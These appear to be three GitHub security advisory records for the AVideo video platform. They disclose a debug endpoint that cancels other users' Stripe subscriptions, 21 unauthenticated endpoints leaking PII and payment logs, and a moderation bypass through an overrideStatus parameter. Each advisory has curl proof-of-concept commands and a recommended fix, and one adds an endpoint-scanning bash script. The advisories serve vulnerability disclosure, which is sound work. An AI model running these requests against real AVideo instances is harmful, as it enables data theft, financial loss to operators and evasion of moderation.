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GHSA-38rh-4v39-vfxv GHSA-g2mg-cgr6-vmv7 GHSA-m577-w9j8-ch7j GHSA-wwpw-hrx8-79r5
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‎advisories/github-reviewed/2026/04/GHSA-38rh-4v39-vfxv/GHSA-38rh-4v39-vfxv.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-38rh-4v39-vfxv",
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"modified": "2026-04-01T21:06:58Z",
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"published": "2026-04-01T21:06:58Z",
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"aliases": [
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"CVE-2026-34737"
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],
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"summary": "AVideo: Arbitrary Stripe Subscription Cancellation via Debug Endpoint and retrieveSubscriptions() Bug",
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"details": "## Summary\n\nThe StripeYPT plugin includes a `test.php` debug endpoint that is accessible to any logged-in user, not just administrators. This endpoint processes Stripe webhook-style payloads and triggers subscription operations, including cancellation. Due to a bug in the `retrieveSubscriptions()` method that cancels subscriptions instead of merely retrieving them, any authenticated user can cancel arbitrary Stripe subscriptions by providing a subscription ID.\n\n## Details\n\nAt `plugin/StripeYPT/test.php:4`, the endpoint checks only for a logged-in user, not for admin privileges:\n\n```php\nif (!User::isLogged())\n```\n\nAt lines 27-29, the endpoint accepts a JSON payload from the request and processes it through the Stripe metadata handler:\n\n```php\n$obj = StripeYPT::getMetadataOrFromSubscription(json_decode($_REQUEST['payload']));\n```\n\nThe call chain proceeds as follows:\n- `test.php` calls `getMetadataOrFromSubscription()`\n- Which calls `getSubscriptionId()` to extract the subscription ID\n- Which calls `retrieveSubscriptions()` to interact with the Stripe API\n\nAt `StripeYPT.php:933`, the `retrieveSubscriptions()` method contains a critical bug where it cancels the subscription instead of just retrieving it:\n\n```php\n$response = $sub->cancel();\n```\n\nThis same bug also affects the production webhook processing path via `processSubscriptionIPN()`, meaning both the debug endpoint and the live webhook handler can trigger unintended cancellations.\n\n## Proof of Concept\n\n1. Log in as any regular (non-admin) user and obtain a session cookie.\n\n2. Send a crafted payload to the test endpoint with a target subscription ID:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n \"https://your-avideo-instance.com/plugin/StripeYPT/test.php\" \\\n -d 'payload={\"data\":{\"object\":{\"id\":\"sub_TARGET_SUBSCRIPTION_ID\",\"customer\":\"cus_CUSTOMER_ID\"}}}'\n```\n\n3. The endpoint processes the payload, calls `retrieveSubscriptions()`, and the subscription is cancelled via the Stripe API.\n\n4. To enumerate subscription IDs, check if the application exposes them through other endpoints or use predictable patterns:\n\n```bash\n# Check user subscription details if accessible\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n \"https://your-avideo-instance.com/plugin/StripeYPT/listSubscriptions.php\"\n```\n\n5. The Stripe subscription is now cancelled. The affected user loses access to their paid features.\n\n## Impact\n\nAny logged-in user can cancel arbitrary Stripe subscriptions belonging to other users. This causes direct financial damage to the platform operator (lost subscription revenue) and service disruption for paying subscribers who lose access to premium features. The debug endpoint should have been removed from production or restricted to admin-only access, and the `retrieveSubscriptions()` method should retrieve rather than cancel subscriptions.\n\n- **CWE-862**: Missing Authorization\n- **Severity**: Medium\n\n## Recommended Fix\n\nTwo changes are needed:\n\n**1. Restrict the debug endpoint to admins** at `plugin/StripeYPT/test.php:4`:\n\n```php\n// plugin/StripeYPT/test.php:4\nif (!User::isAdmin())\n```\n\nChange `User::isLogged()` to `User::isAdmin()` so only administrators can access the debug endpoint.\n\n**2. Fix the retrieval bug** at `StripeYPT.php:933`:\n\nRemove the `$sub->cancel()` call from `retrieveSubscriptions()` so that the function only retrieves subscription data without cancelling it:\n\n```php\n// StripeYPT.php:933 - remove the following line:\n// $response = $sub->cancel();\n```\n\nThe `retrieveSubscriptions()` method should retrieve subscription information, not cancel subscriptions as a side effect.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "wwbn/avideo"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"last_affected": "26.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-38rh-4v39-vfxv"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34737"
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},
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/commit/8ac79b9375872f02f72999157b19a40c17126513"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/WWBN/AVideo"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-862"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-01T21:06:58Z",
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"nvd_published_at": "2026-03-31T21:16:32Z"
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}
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}

‎advisories/github-reviewed/2026/04/GHSA-g2mg-cgr6-vmv7/GHSA-g2mg-cgr6-vmv7.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-g2mg-cgr6-vmv7",
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"modified": "2026-04-01T21:05:59Z",
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"published": "2026-04-01T21:05:59Z",
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"aliases": [
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"CVE-2026-34732"
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],
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"summary": "AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints",
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"details": "## Summary\n\nThe AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.\n\n## Details\n\nThe `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:\n\n```php\n// CreatePlugin/templates/add.json.php:12\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/delete.json.php:11\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/list.json.php\n// NO authentication check - accessible to anyone\n```\n\nThis template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.\n\nConfirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:\n\n```\nGET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1\n```\n\nResponse (HTTP 200):\n\n```json\n{\n \"data\": [\n {\n \"id\": 1,\n \"users_id\": 42,\n \"ip\": \"REDACTED\",\n \"user_agent\": \"Mozilla/5.0 ...\",\n \"created\": \"2025-01-15 14:32:00\",\n \"room_name\": \"private-meeting-xyz\"\n }\n ]\n}\n```\n\nThe 21 affected endpoints generated from this template include:\n\n| Endpoint | Exposed Data |\n|----------|-------------|\n| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |\n| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |\n| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |\n| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |\n| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |\n| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |\n| And 15+ additional plugin endpoints | Various internal records |\n\n## Proof of Concept\n\n**Step 1:** Enumerate accessible list endpoints (no authentication required):\n\n```bash\n#!/bin/bash\nTARGET=\"https://your-avideo-instance.com\"\n\nENDPOINTS=(\n \"plugin/Meet/View/Meet_join_log/list.json.php\"\n \"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\"\n \"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\"\n \"plugin/CustomizeUser/View/Users_extra_info/list.json.php\"\n \"plugin/UserNotifications/View/User_notifications/list.json.php\"\n \"plugin/UserConnections/View/Users_connections/list.json.php\"\n)\n\nfor endpoint in \"${ENDPOINTS[@]}\"; do\n echo \"=== $endpoint ===\"\n HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w \"%{http_code}\" \"$TARGET/$endpoint\")\n echo \"Status: $HTTP_CODE\"\n if [ \"$HTTP_CODE\" = \"200\" ]; then\n echo \"VULNERABLE - Data returned:\"\n python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20\n fi\n echo \"\"\ndone\n```\n\n**Step 2:** Retrieve paginated results from a specific endpoint:\n\n```bash\n# Fetch meeting join logs with pagination\ncurl -s \"https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0\" \\\n | python3 -m json.tool\n\n# Fetch payment logs\ncurl -s \"https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0\" \\\n | python3 -m json.tool\n```\n\n**Step 3:** Discover additional vulnerable endpoints by scanning plugin directories:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/\" \\\n | grep -oP 'href=\"([^\"]+)/\"' \\\n | while read plugin; do\n PLUGIN_NAME=$(echo \"$plugin\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n URL=\"$TARGET/plugin/$PLUGIN_NAME/View/\"\n curl -s \"$URL\" | grep -oP 'href=\"([^\"]+)/\"' | while read view; do\n VIEW_NAME=$(echo \"$view\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n LIST_URL=\"$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php\"\n CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$LIST_URL\")\n [ \"$CODE\" = \"200\" ] && echo \"FOUND: $LIST_URL\"\n done\n done\n```\n\n## Impact\n\n21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:\n\n- **User PII**: Extended profile information, email addresses, user IDs\n- **Payment data**: PayPal and Authorize.Net transaction logs, payment amounts, buyer details\n- **Access logs**: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs\n- **Social graphs**: User connection and relationship data\n- **Activity records**: Notification history revealing user behavior patterns\n\nThis is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authentication check to `CreatePlugin/templates/list.json.php` after the require lines, matching the pattern used in `add.json.php` and `delete.json.php`:\n\n```php\n// CreatePlugin/templates/list.json.php (after the require lines)\nif (!User::isAdmin()) {\n die(json_encode(['error' => true]));\n}\n```\n\nThis fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated `list.json.php` endpoints by adding the same admin check after their require lines.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "wwbn/avideo"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"last_affected": "26.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g2mg-cgr6-vmv7"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34732"
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},
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/commit/ea9f555850eb399126a103c1df2156b48734c990"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/WWBN/AVideo"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-306"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-01T21:05:59Z",
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"nvd_published_at": "2026-03-31T21:16:31Z"
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}
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}

‎advisories/github-reviewed/2026/04/GHSA-m577-w9j8-ch7j/GHSA-m577-w9j8-ch7j.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-m577-w9j8-ch7j",
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"modified": "2026-04-01T21:07:24Z",
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"published": "2026-04-01T21:07:24Z",
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"aliases": [
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"CVE-2026-34738"
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],
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"summary": "AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter",
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"details": "## Summary\n\nAVideo's video processing pipeline accepts an `overrideStatus` request parameter that allows any uploader to set a video's status to any valid state, including \"active\" (`a`). This bypasses the admin-controlled moderation and draft workflows. The `setStatus()` method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.\n\n## Details\n\nAt `objects/video.php:1055-1056`, the video object checks for an `overrideStatus` parameter in the request and applies it directly:\n\n```php\nif (!empty($_REQUEST['overrideStatus'])) {\n return $this->setStatus($_REQUEST['overrideStatus']);\n}\n```\n\nThis code is reached from two entry points:\n- `objects/videoAddNew.json.php:157` - when adding a new video\n- `objects/aVideoEncoder.json.php:114` - when processing an encoded video\n\nThe `setStatus()` method validates that the provided status code is one of the recognized values (`a`, `k`, `i`, `h`, `e`, `x`, `d`, `t`, `u`, `s`, `r`, `f`, `b`, `p`, `c`) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.\n\nThe relevant status codes include:\n- `a` - Active (published and publicly visible)\n- `k` - Draft (pending review)\n- `i` - Inactive\n- `e` - Encoding\n- `x` - Deleted\n- `u` - Unlisted\n\nWhen an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including `overrideStatus=a` in their upload request.\n\n## Proof of Concept\n\n1. Assume the AVideo instance has moderation enabled (new videos default to draft status `k`).\n\n2. Upload a video as a regular user, including the `overrideStatus` parameter:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -F \"title=Bypassed Moderation\" \\\n -F \"description=This video skips the review queue\" \\\n -F \"videoLink=https://example.com/video.mp4\" \\\n -F \"overrideStatus=a\"\n```\n\n3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.\n\n4. Verify the video is publicly accessible:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/video/VIDEO_CLEAN_TITLE\" | grep -o \"<title>.*</title>\"\n```\n\n5. An uploader can also use this to set other statuses:\n\n```bash\n# Set a video to \"unlisted\" even if the platform restricts this\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -F \"title=Unlisted Video\" \\\n -F \"videoLink=https://example.com/video.mp4\" \\\n -F \"overrideStatus=u\"\n```\n\n## Impact\n\nAny user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like \"unlisted\" or \"inactive\" on their own videos, bypassing platform-level restrictions on these features.\n\n- **CWE-285**: Improper Authorization\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an authorization check before applying the `overrideStatus` parameter at `objects/video.php:1055`:\n\n```php\n// objects/video.php:1055\nif (!empty($_REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) {\n return $this->setStatus($_REQUEST['overrideStatus']);\n}\n```\n\nThis ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "wwbn/avideo"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"last_affected": "26.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34738"
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},
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{
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"type": "WEB",
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"url": "https://github.com/WWBN/AVideo/commit/34f0237e2449d2e564a69fe3c5c71c830f5d11fd"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/WWBN/AVideo"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-285"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-01T21:07:24Z",
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"nvd_published_at": "2026-03-31T21:16:32Z"
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}
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}

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